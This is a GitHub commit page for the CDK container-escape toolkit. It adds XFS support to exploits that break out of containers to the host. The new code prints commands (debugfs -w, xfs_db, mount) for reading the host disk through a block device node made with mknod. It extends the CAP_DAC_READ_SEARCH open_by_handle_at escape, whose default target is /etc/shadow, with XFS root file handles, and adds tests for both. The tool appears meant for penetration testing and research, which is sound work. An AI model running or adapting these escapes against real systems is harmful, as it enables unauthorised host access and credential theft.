Skip to content

Commit 0b81815

Browse files
Copilotneargle
andauthored
Apply PR #129: XFS support and filesystem-aware block device hints
Agent-Logs-Url: https://github.com/cdk-team/CDK/sessions/e154bdca-67c9-40ac-8474-9859d930f4cb Co-authored-by: neargle <7868679+neargle@users.noreply.github.com>
1 parent cffdaad commit 0b81815

8 files changed

Lines changed: 319 additions & 21 deletions
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
package escaping
2+
3+
import (
4+
"fmt"
5+
"os/exec"
6+
"strings"
7+
)
8+
9+
type toolLookupFunc func(string) bool
10+
11+
func runtimeBlockDeviceBrowseHint(fsType, devicePath string) string {
12+
return blockDeviceBrowseHint(fsType, devicePath, toolExists)
13+
}
14+
15+
func blockDeviceBrowseHint(fsType, devicePath string, hasTool toolLookupFunc) string {
16+
fsType = strings.ToLower(fsType)
17+
mountHint := blockDeviceMountHint(fsType, devicePath)
18+
19+
preferredToolHint := ""
20+
switch fsType {
21+
case "ext2", "ext3", "ext4":
22+
if hasTool("debugfs") {
23+
preferredToolHint = fmt.Sprintf("run 'debugfs -w %s' to browse host files", devicePath)
24+
}
25+
case "xfs":
26+
if hasTool("xfs_db") {
27+
preferredToolHint = fmt.Sprintf("use 'xfs_db -x -c \"inode 128\" -c \"ls\" %s' to inspect the host filesystem", devicePath)
28+
}
29+
}
30+
31+
if preferredToolHint != "" {
32+
if hasTool("mount") {
33+
return fmt.Sprintf("now, %s. If that tool is inconvenient, try '%s'.", preferredToolHint, mountHint)
34+
}
35+
return fmt.Sprintf("now, %s.", preferredToolHint)
36+
}
37+
38+
if hasTool("mount") {
39+
if fsType != "" {
40+
return fmt.Sprintf("now, host filesystem type is %q. Try '%s' to inspect it.", fsType, mountHint)
41+
}
42+
return fmt.Sprintf("now, try '%s' to inspect the host filesystem.", mountHint)
43+
}
44+
45+
if fsType != "" {
46+
return fmt.Sprintf("host filesystem type is %q. A block device was created at %s; inspect it with tooling available in the container.", fsType, devicePath)
47+
}
48+
return fmt.Sprintf("a block device was created at %s; inspect it with tooling available in the container.", devicePath)
49+
}
50+
51+
func blockDeviceMountHint(fsType, devicePath string) string {
52+
if fsType != "" {
53+
return fmt.Sprintf("mkdir -p /tmp/cdkmnt && mount -t %s -o ro %s /tmp/cdkmnt", fsType, devicePath)
54+
}
55+
return fmt.Sprintf("mkdir -p /tmp/cdkmnt && mount -o ro %s /tmp/cdkmnt", devicePath)
56+
}
57+
58+
func toolExists(name string) bool {
59+
_, err := exec.LookPath(name)
60+
return err == nil
61+
}
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package escaping
2+
3+
import (
4+
"strings"
5+
"testing"
6+
)
7+
8+
func TestExploitSpecificBlockDeviceHints(t *testing.T) {
9+
tests := []struct {
10+
name string
11+
fsType string
12+
device string
13+
expected []string
14+
}{
15+
{
16+
name: "rewrite cgroup devices ext4",
17+
fsType: "ext4",
18+
device: "cdk_mknod_result",
19+
expected: []string{
20+
"debugfs -w cdk_mknod_result",
21+
"mount -t ext4 -o ro cdk_mknod_result /tmp/cdkmnt",
22+
},
23+
},
24+
{
25+
name: "rewrite cgroup devices xfs",
26+
fsType: "xfs",
27+
device: "cdk_mknod_result",
28+
expected: []string{
29+
`xfs_db -x -c "inode 128" -c "ls" cdk_mknod_result`,
30+
"mount -t xfs -o ro cdk_mknod_result /tmp/cdkmnt",
31+
},
32+
},
33+
{
34+
name: "lxcfs rw ext4",
35+
fsType: "ext4",
36+
device: "host_dev",
37+
expected: []string{
38+
"debugfs -w host_dev",
39+
"mount -t ext4 -o ro host_dev /tmp/cdkmnt",
40+
},
41+
},
42+
{
43+
name: "lxcfs rw xfs",
44+
fsType: "xfs",
45+
device: "host_dev",
46+
expected: []string{
47+
`xfs_db -x -c "inode 128" -c "ls" host_dev`,
48+
"mount -t xfs -o ro host_dev /tmp/cdkmnt",
49+
},
50+
},
51+
{
52+
name: "cgroup2 ebpf bypass ext4",
53+
fsType: "ext4",
54+
device: "./cdk_mknod_v2_result",
55+
expected: []string{
56+
"debugfs -w ./cdk_mknod_v2_result",
57+
"mount -t ext4 -o ro ./cdk_mknod_v2_result /tmp/cdkmnt",
58+
},
59+
},
60+
{
61+
name: "cgroup2 ebpf bypass xfs",
62+
fsType: "xfs",
63+
device: "./cdk_mknod_v2_result",
64+
expected: []string{
65+
`xfs_db -x -c "inode 128" -c "ls" ./cdk_mknod_v2_result`,
66+
"mount -t xfs -o ro ./cdk_mknod_v2_result /tmp/cdkmnt",
67+
},
68+
},
69+
}
70+
71+
for _, tt := range tests {
72+
t.Run(tt.name, func(t *testing.T) {
73+
got := blockDeviceBrowseHint(tt.fsType, tt.device, func(name string) bool {
74+
return name == "debugfs" || name == "xfs_db" || name == "mount"
75+
})
76+
for _, want := range tt.expected {
77+
if !strings.Contains(got, want) {
78+
t.Fatalf("blockDeviceBrowseHint(%q, %q) = %q, want substring %q", tt.fsType, tt.device, got, want)
79+
}
80+
}
81+
})
82+
}
83+
}
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
package escaping
2+
3+
import (
4+
"strings"
5+
"testing"
6+
)
7+
8+
func TestBlockDeviceBrowseHint(t *testing.T) {
9+
tests := []struct {
10+
name string
11+
fsType string
12+
tools map[string]bool
13+
expected []string
14+
}{
15+
{
16+
name: "ext4 prefers debugfs when available",
17+
fsType: "ext4",
18+
tools: map[string]bool{
19+
"debugfs": true,
20+
"mount": true,
21+
},
22+
expected: []string{
23+
"debugfs -w ./device",
24+
"mount -t ext4 -o ro ./device /tmp/cdkmnt",
25+
},
26+
},
27+
{
28+
name: "ext4 falls back to mount",
29+
fsType: "ext4",
30+
tools: map[string]bool{
31+
"mount": true,
32+
},
33+
expected: []string{
34+
`host filesystem type is "ext4"`,
35+
"mount -t ext4 -o ro ./device /tmp/cdkmnt",
36+
},
37+
},
38+
{
39+
name: "xfs prefers xfs_db when available",
40+
fsType: "xfs",
41+
tools: map[string]bool{
42+
"xfs_db": true,
43+
"mount": true,
44+
},
45+
expected: []string{
46+
`xfs_db -x -c "inode 128" -c "ls" ./device`,
47+
"mount -t xfs -o ro ./device /tmp/cdkmnt",
48+
},
49+
},
50+
{
51+
name: "xfs falls back to mount",
52+
fsType: "xfs",
53+
tools: map[string]bool{
54+
"mount": true,
55+
},
56+
expected: []string{
57+
`host filesystem type is "xfs"`,
58+
"mount -t xfs -o ro ./device /tmp/cdkmnt",
59+
},
60+
},
61+
{
62+
name: "unknown fs uses mount when available",
63+
fsType: "btrfs",
64+
tools: map[string]bool{
65+
"mount": true,
66+
},
67+
expected: []string{
68+
`host filesystem type is "btrfs"`,
69+
"mount -t btrfs -o ro ./device /tmp/cdkmnt",
70+
},
71+
},
72+
{
73+
name: "no tools falls back to generic message",
74+
fsType: "xfs",
75+
tools: map[string]bool{},
76+
expected: []string{
77+
`host filesystem type is "xfs"`,
78+
`A block device was created at ./device`,
79+
},
80+
},
81+
}
82+
83+
for _, tt := range tests {
84+
t.Run(tt.name, func(t *testing.T) {
85+
got := blockDeviceBrowseHint(tt.fsType, "./device", func(name string) bool {
86+
return tt.tools[name]
87+
})
88+
for _, want := range tt.expected {
89+
if !strings.Contains(got, want) {
90+
t.Fatalf("blockDeviceBrowseHint(%q) = %q, want substring %q", tt.fsType, got, want)
91+
}
92+
}
93+
})
94+
}
95+
}

pkg/exploit/escaping/cap_dac_read_search.go

Lines changed: 31 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,11 @@ import (
3636
)
3737

3838
const (
39-
defaultRef = "/etc/hostname"
40-
defaultTarget = "/etc/shadow"
41-
defaultShell = "/bin/bash"
39+
defaultRef = "/etc/hostname"
40+
defaultTarget = "/etc/shadow"
41+
defaultShell = "/bin/bash"
42+
ext4SuperMagic = 0xEF53
43+
xfsSuperMagic = 0x58465342
4244
)
4345

4446
// plugin interface
@@ -111,16 +113,39 @@ func execCommand(cmdSlice []string) {
111113
}
112114
}
113115

116+
func rootFileHandle(ref string) (unix.FileHandle, error) {
117+
var stat unix.Statfs_t
118+
if err := unix.Statfs(ref, &stat); err != nil {
119+
return unix.FileHandle{}, fmt.Errorf("statfs %s: %w", ref, err)
120+
}
121+
122+
return rootFileHandleForFsType(int64(stat.Type))
123+
}
124+
125+
func rootFileHandleForFsType(fsType int64) (unix.FileHandle, error) {
126+
switch fsType {
127+
case ext4SuperMagic:
128+
// inode of / is always 2 for ext4, and i_generation is always 0.
129+
return unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0}), nil
130+
case xfsSuperMagic:
131+
// The XFS root inode is 128; its export handle is a 12-byte fid.
132+
return unix.NewFileHandle(129, []byte{0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}), nil
133+
default:
134+
return unix.FileHandle{}, fmt.Errorf("unsupported filesystem type 0x%x", uint64(fsType))
135+
}
136+
}
137+
114138
func CapDacReadSearchExploit(target, ref string, chroot bool, cmd []string) error {
115139
// reference something bind mounted to container from host
116140
fd, err := unix.Open(ref, unix.O_RDONLY, 0)
117141
if err != nil {
118142
log.Fatalf("[-] Open: %v\n", err)
119143
}
120144

121-
// inode of / is always 2 for ext4: https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout
122-
// and i_generation is always 0, so handle is always 0x0000000000000002
123-
h := unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0})
145+
h, err := rootFileHandle(ref)
146+
if err != nil {
147+
log.Fatalf("[-] Resolve root handle: %v\n", err)
148+
}
124149

125150
fd, err = unix.OpenByHandleAt(fd, h, 0)
126151
if err != nil {

pkg/exploit/escaping/cap_dac_read_search_test.go

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,3 +47,47 @@ func TestWriteString(t *testing.T) {
4747
fmt.Println(exploit.Desc())
4848

4949
}
50+
51+
func TestRootFileHandle(t *testing.T) {
52+
tests := []struct {
53+
name string
54+
fsType int64
55+
handleType int32
56+
handle []byte
57+
}{
58+
{
59+
name: "ext4",
60+
fsType: ext4SuperMagic,
61+
handleType: 1,
62+
handle: []byte{0x02, 0, 0, 0, 0, 0, 0, 0},
63+
},
64+
{
65+
name: "xfs",
66+
fsType: xfsSuperMagic,
67+
handleType: 129,
68+
handle: []byte{0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
69+
},
70+
}
71+
72+
for _, tt := range tests {
73+
t.Run(tt.name, func(t *testing.T) {
74+
h, err := rootFileHandleForFsType(tt.fsType)
75+
if err != nil {
76+
t.Fatalf("rootFileHandleForFsType(%#x): %v", tt.fsType, err)
77+
}
78+
79+
if h.Type() != tt.handleType {
80+
t.Fatalf("handle type = %d, want %d", h.Type(), tt.handleType)
81+
}
82+
if got := h.Bytes(); string(got) != string(tt.handle) {
83+
t.Fatalf("handle bytes = %v, want %v", got, tt.handle)
84+
}
85+
})
86+
}
87+
}
88+
89+
func TestRootFileHandleForFsTypeUnsupported(t *testing.T) {
90+
if _, err := rootFileHandleForFsType(0x12345678); err == nil {
91+
t.Fatal("expected unsupported filesystem error")
92+
}
93+
}

pkg/exploit/escaping/cgroup2_ebpf_bypass.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -181,7 +181,7 @@ func (p cgroup2EbpfBypassS) Run() bool {
181181
return false
182182
} else {
183183
log.Println("Exploit success! Device node created at './cdk_mknod_v2_result'")
184-
log.Println("Run 'debugfs -w ./cdk_mknod_v2_result' to browse host files.")
184+
log.Println(runtimeBlockDeviceBrowseHint(mi.Fstype, "./cdk_mknod_v2_result"))
185185
return true
186186
}
187187
}

pkg/exploit/escaping/lxcfs_rw_mknod.go

Lines changed: 3 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,7 @@ func ExploitLXCFS() bool {
8686
var podCgroupPath string
8787
var devicesAllowPath, devicesListPath string
8888
var deviceMarjor, deviceMinor string
89+
var deviceFsType string
8990
var filterString string
9091

9192
mountInfos, err := util.GetMountInfo()
@@ -116,6 +117,7 @@ func ExploitLXCFS() bool {
116117
if util.FindTargetDeviceID(&mi) {
117118
deviceMarjor = mi.Major
118119
deviceMinor = mi.Minor
120+
deviceFsType = mi.Fstype
119121
}
120122
}
121123

@@ -141,24 +143,12 @@ func ExploitLXCFS() bool {
141143
log.Printf("mknod err: %v", err)
142144
return false
143145
}
144-
log.Printf("exploit success, run \"debugfs -w host_dev\".")
145-
if !CheckDebugfs() {
146-
log.Printf("if debugfs can not used, may be you can try to run `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`")
147-
}
146+
log.Printf("exploit success, %s", runtimeBlockDeviceBrowseHint(deviceFsType, "host_dev"))
148147
return true
149148
}
150149
return false
151150
}
152151

153-
// CheckDebugfs check if debugfs is installed
154-
func CheckDebugfs() bool {
155-
_, err := os.Stat("/usr/bin/debugfs")
156-
if err != nil {
157-
return false
158-
}
159-
return true
160-
}
161-
162152
type lxcfsRWS struct{ base.BaseExploit }
163153

164154
func (l lxcfsRWS) Desc() string {

0 commit comments

Comments
 (0)